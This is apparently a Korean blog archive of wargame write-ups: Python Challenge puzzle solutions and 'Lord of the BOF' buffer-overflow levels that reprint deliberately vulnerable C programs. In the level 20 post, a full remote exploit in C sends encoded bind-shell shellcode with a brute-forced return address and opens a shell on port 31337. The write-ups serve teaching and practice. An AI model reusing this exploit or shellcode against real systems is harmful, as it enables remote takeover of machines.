'2011/06'에 해당되는 글 40건
- 2011.06.21 [Python challenge Level2] - ocr (특문 속에 알파벳)
- 2011.06.20 [Python challenge Level1] – map (문자 대체)
- 2011.06.20 [Python challenge Level0] - PythonChallenge란?
- 2011.06.18 [LEVEL20] xavis -> death_knight (remote BOF)
- 2011.06.15 [LEVEL19] nightmare -> xavis (fgets + destroyers)
- 2011.06.15 [LEVEL18] succubus -> nightmare (plt)
- 2011.06.12 [LEVEL17] zombie_assassin -> succubus (function calls)
- 2011.06.11 [LEVEL16] assassin -> zombie_assassin (fake ebp)
[ problem ] - http://www.pythonchallenge.com/pc/def/ocr.html
♧ 힌트를 보면 소스 페이지라는 단어가 눈에 띤다.
일단 소스 페이지를 보면 아래와 같은 희귀문자 들이 엉망으로 섞여 있는 것을 볼 수 있다.
이 속에서 알파벳을 찾는 문제이다.
(※ re — Regular expression operations 참조)
[ Solution ] - http://www.pythonchallenge.com/pcc/def/equality.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level5] - peak (pickle) (1) | 2011.06.22 |
---|---|
[Python challenge Level4] – linkedlist (urllib) (0) | 2011.06.21 |
[Python challenge Level3] – equality (Regular Expression) (0) | 2011.06.21 |
[Python challenge Level1] – map (문자 대체) (0) | 2011.06.20 |
[Python challenge Level0] - PythonChallenge란? (0) | 2011.06.20 |
[ problem ] - http://www.pythonchallenge.com/pc/def/map.html
♧ 그림과 같이 K->M, O->Q, E->G의 규칙성은 해당 문자가 2만큼 떨어져 있다.
그림의 보라색 글자가 무슨 암호화 같이 보이지만 해당 글자를 2씩 증가하면
아래와 같이 string.maketrans() 권장한다는 친절한 멘트와 힌트가 보인다. (단, y->a)
"i hope you didnt translate it by hand. thats what computers are for. |
♧ 현재 url의 "map.html"을 규칙성을 적용해 보면 "orc.jvon"이 된다.
(http://www.pythonchallenge.com/pc/def/ocr.jvon)
[ Solution ] - http://www.pythonchallenge.com/pcc/def/ocr.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level5] - peak (pickle) (1) | 2011.06.22 |
---|---|
[Python challenge Level4] – linkedlist (urllib) (0) | 2011.06.21 |
[Python challenge Level3] – equality (Regular Expression) (0) | 2011.06.21 |
[Python challenge Level2] - ocr (특문 속에 알파벳) (0) | 2011.06.21 |
[Python challenge Level0] - PythonChallenge란? (0) | 2011.06.20 |
http://www.pythonchallenge.com/index.php
♧ Python 프로그래밍을 여러 수수께끼 문제를 통해 쉽고 재미있게 배울 수 있는 사이트.
♧ 사이트 접속후 아래 "Click here to get challenged"를 클릭하면 도전 시작.
♧ 도전을 시작 하면 아래와 같은 문제 화면이 보인다. |
※ 2의 38승을 구하는 문제이다.
URL 주소란에 그림과 같이 문제의 답을 적으면 다음 레벨로 넘어가게 된다.
[ 문제에 대한 다양한 해결책 보기 ]
위와 같이 URL을 pc->pcc로 고치면 다음 그림과 같이 문제에 대한 여러 해결법을 볼 수 있다. |
[ Solution ] - http://pythonchallenge.com/pcc/def/map.html
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level5] - peak (pickle) (1) | 2011.06.22 |
---|---|
[Python challenge Level4] – linkedlist (urllib) (0) | 2011.06.21 |
[Python challenge Level3] – equality (Regular Expression) (0) | 2011.06.21 |
[Python challenge Level2] - ocr (특문 속에 알파벳) (0) | 2011.06.21 |
[Python challenge Level1] – map (문자 대체) (0) | 2011.06.20 |
[view source] |
/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h>
main() { char buffer[40];
int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); }
server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); }
if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); }
while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; }
if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; }
close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); } |
♧ Remote BOF 문제이다. 단순 brute force 공격으로 문제를 해결 합니다. |
[ 익스플로잇 작성 ]
[dumpcode.h] |
/****************************** * RAW 메모리를 16진수로 덤프 *******************************/ void dump(const unsigned char *data_buffer, const unsigned int length) { unsigned char byte; unsigned int i, j;
for(i=0; i < length; i++) { byte = data_buffer[i]; if (i%16 == 0) printf("%08x: ", (unsigned int)&data_buffer[i]); printf("%02x ", byte); // display byte in hex
if(((i%16)==15) || (i==length-1)) { for(j=0; j < 15-(i%16); j++) printf(" "); printf(" | "); for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line byte = data_buffer[j]; if((byte > 31) && (byte < 127)) // outside printable char range printf("%c", byte); else printf("."); } printf("\n"); // end of the dump line (each line 16 bytes) } // end if } // end for } |
[exploit.c] |
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include "dumpcode.h"
#define SA struct sockaddr #define BUFSIZE 256 #define OFFSET 44 char bindport[] = "\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01" "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5" "\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8" "\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f" "\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16" "\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b" "\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5" "\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e" "\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"; #define BINDPORT 31337
int main (int argc, char *argv[]) { int sockfd; struct sockaddr_in target_addr; unsigned char buffer[BUFSIZE]; unsigned int retaddr = 0xbffffff0; char cmd[100];
if (argc != 3) { fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]); return -1; }
sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);
while (1) {
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror ("socket error"); return -1; } memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(atoi(argv[2])); target_addr.sin_addr.s_addr = inet_addr(argv[1]);
if (connect (sockfd, (SA*)&target_addr, sizeof(target_addr)) == -1) { perror ("connect error"); close(sockfd); continue; } retaddr -= 10; memset(buffer, '\x90', sizeof(buffer)); memcpy(buffer+OFFSET, &retaddr, 4); memcpy(buffer+100, bindport, strlen(bindport)); puts("_____ Exploit Buffer:"); dump(buffer, strlen(buffer)); send(sockfd, buffer, strlen(buffer), 0); system(cmd); close(sockfd); }
return 0; } |
[ 결과 화면 ] |
[xavius@localhost xavius]$ gcc -W -Wall exploit.c -o exploit [xavius@localhost xavius]$ ./exploit 192.168.0.100 6666
성공!!! |
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL19] nightmare -> xavis (fgets + destroyers) (0) | 2011.06.15 |
---|---|
[LEVEL18] succubus -> nightmare (plt) (0) | 2011.06.15 |
[LEVEL17] zombie_assassin -> succubus (function calls) (0) | 2011.06.12 |
[LEVEL16] assassin -> zombie_assassin (fake ebp) (0) | 2011.06.11 |
[LEVEL15] giant -> assassin (no stack, no RTL) (0) | 2011.06.10 |
[view source] |
/* The Lord of the BOF : The Fellowship of the BOF - xavius - arg */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h>
main() { char buffer[40]; char *ret_addr;
// overflow! fgets(buffer, 256, stdin); printf("%s\n", buffer);
if(*(buffer+47) == '\xbf') { printf("stack retbayed you!\n"); exit(0); }
if(*(buffer+47) == '\x08') { printf("binary image retbayed you, too!!\n"); exit(0); }
// check if the ret_addr is library function or not memcpy(&ret_addr, buffer+44, 4); while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function { if(*ret_addr == '\xc9'){ // leave if(*(ret_addr+1) == '\xc3'){ // ret printf("You cannot use library function!\n"); exit(0); } } ret_addr++; }
// stack destroyer memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } |
♧ 사용 할 수 있는 공간이 별루 없다. |
[ summary ] | ||||
① strace ./사본으로 내용을 보면 fgets()는 내부 시스템콜 read()를 호출하는데
② gdb로 fgets를 호출 후 바로 확인해 보면 입력한 "DDDD~"가 0x40015000부터 들어가는 것을 볼 수 있다.
|
[ Attack ] | ||
※(0x40015000은 마지막 "00"이 널로 취급 때문에 NOP썰매가 있는 곳으로 수정)
성공!!! |
nightmare : "beg for me"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL20] xavis -> death_knight (remote BOF) (0) | 2011.06.18 |
---|---|
[LEVEL18] succubus -> nightmare (plt) (0) | 2011.06.15 |
[LEVEL17] zombie_assassin -> succubus (function calls) (0) | 2011.06.12 |
[LEVEL16] assassin -> zombie_assassin (fake ebp) (0) | 2011.06.11 |
[LEVEL15] giant -> assassin (no stack, no RTL) (0) | 2011.06.10 |
[view source] |
/* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dumpcode.h>
main(int argc, char *argv[]) { char buffer[40]; char *addr;
if(argc < 2){ printf("argv error\n"); exit(0); }
// check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with strcpy()\n"); exit(0); }
// overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer);
// dangerous waterfall memset(buffer+40+8, 'A', 4); } |
♧ RET부분이 strcpy주소로 시작을 하는지 check하고 있다. |
♧ GOT와 PLT [ 참조 ] |
GOT는 Global Offset Table(전역 오프셋 테이블)약자며 실행 후, libc.so내 실제 함수 주소가 담기는 저장소이다. 이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 된다. (매 번이 아닌, 한 번만 수행되고 나면, 그 다음부터는 GOT에 기록된 내용만 참조하여 수행) 이를 실제 시스템 라이브러리 주소를 호출하기 위해 필요한 정보 테이블이라 보면 될 것 같다. |
[ summary ] |
♧ strcpy()를 이용해 argv[2]에 있는 system()를 리턴 주소(strcpy호출 다음)에 복사하여 실행 흐름을 변경한다.
|
[ Attack ] | |||
① 필요한 주소 구하기.
② ∑xploit
|
※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함
succubus : "here to stay"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL20] xavis -> death_knight (remote BOF) (0) | 2011.06.18 |
---|---|
[LEVEL19] nightmare -> xavis (fgets + destroyers) (0) | 2011.06.15 |
[LEVEL17] zombie_assassin -> succubus (function calls) (0) | 2011.06.12 |
[LEVEL16] assassin -> zombie_assassin (fake ebp) (0) | 2011.06.11 |
[LEVEL15] giant -> assassin (no stack, no RTL) (0) | 2011.06.10 |
[view source] |
/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */
#include <stdio.h> #include <stdlib.h> #include <dumpcode.h>
// the inspector int check = 0;
void MO(char *cmd) { if(check != 4) exit(0);
printf("welcome to the MO!\n");
// olleh! system(cmd); }
void YUT(void) { if(check != 3) exit(0);
printf("welcome to the YUT!\n"); check = 4; }
void GUL(void) { if(check != 2) exit(0);
printf("welcome to the GUL!\n"); check = 3; }
void GYE(void) { if(check != 1) exit(0);
printf("welcome to the GYE!\n"); check = 2; }
void DO(void) { printf("welcome to the DO!\n"); check = 1; }
main(int argc, char *argv[]) { char buffer[40]; char *addr;
if(argc < 2){ printf("argv error\n"); exit(0); }
// you cannot use library if(strchr(argv[1], '\x40')){ printf("You cannot use library\n"); exit(0); }
// check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with DO\n"); exit(0); }
// overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer);
// stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } |
1) argv[1]에서 "\x40"이 유무 체크. (library 함수를 사용하지 못함)
|
[ summary ] | |||||||||||||
♧ 스택에서 함수 호출은 다음과 같은 모양이다.
♧ 그리고 맨 마지막 <MO> 함수는 system(인자)를 호출하게 되는데
|
[ Attack ] | |||
① 필요한 주소 구하기.
② ∑xploit
|
※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함
zombie_assassin : "no place to hide"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL19] nightmare -> xavis (fgets + destroyers) (0) | 2011.06.15 |
---|---|
[LEVEL18] succubus -> nightmare (plt) (0) | 2011.06.15 |
[LEVEL16] assassin -> zombie_assassin (fake ebp) (0) | 2011.06.11 |
[LEVEL15] giant -> assassin (no stack, no RTL) (0) | 2011.06.10 |
[LEVEL14] bugbear -> giant (RTL2, only execve) (0) | 2011.06.09 |
⊙ 문제의 소스를 보자) |
/* The Lord of the BOF : The Fellowship of the BOF - zombie_assassin - FEBP */
#include <stdio.h> #include <stdlib.h>
main(int argc, char *argv[]) { char buffer[40];
if(argc < 2){ printf("argv error\n"); exit(0); }
if(argv[1][47] == '\xbf') { printf("stack retbayed you!\n"); exit(0); }
if(argv[1][47] == '\x40') { printf("library retbayed you, too!!\n"); exit(0); }
// strncpy instead of strcpy! strncpy(buffer, argv[1], 48); printf("%s\n", buffer); } |
♧ strncpy()함수로 인하여 buffer에 복사할 크기를 48로 정의 함으로써 바로 RTL을 사용하지 못한다. |
1) FAKE EBP? | |
♧ 일반 RTL에서는 하나의 함수밖에 호출하지 못하지만 FAKE EBP를 사용 함으로서 여러 함수를 실행하는 공격이 가능 하다.
♧ RET에 leave;ret 주소를 덮음으로써 조작한 ebp로 실행흐름을 바꿀 수 있게 된다.
|
2) 구성 |
① 공격 당한 함수의 에필로그 leave가 실행되면 [mov ebp esp]로 인해 esp가 ebp의 시작 지점으로 이동하며 (이때 pop ebp로 인해 esp+4가 되며 leave의 주소가 들어있다)
② 다음 인스트럭션 명령인 ret이 실행되고 리턴 주소인(leave)가 pop eip가 되면서 다시 leave로 점프하게 된다. ③ 다시 또 한번 leave가 실행되고 ebp에는 FAKE EBP인 버퍼의 시작 주소를 가리키고 있으므로 [ mov ebp esp]로 인해 esp는 buffer의 시작 지점으로 이동하게 되며 [pop ebp]로 인해 esp+4가 된다. ④ 역시 또 한번 ret이 실행 됨으로 system()를 호출하게 된다.
|
∑ 익스플로잇 작성! | ||||||||||||
① 공격 스크립트 작성
② ∑xploit |
※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함
assassin : "pushing me away"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL18] succubus -> nightmare (plt) (0) | 2011.06.15 |
---|---|
[LEVEL17] zombie_assassin -> succubus (function calls) (0) | 2011.06.12 |
[LEVEL15] giant -> assassin (no stack, no RTL) (0) | 2011.06.10 |
[LEVEL14] bugbear -> giant (RTL2, only execve) (0) | 2011.06.09 |
[LEVEL13] darkknight -> bugbear (RTL1) (0) | 2011.06.08 |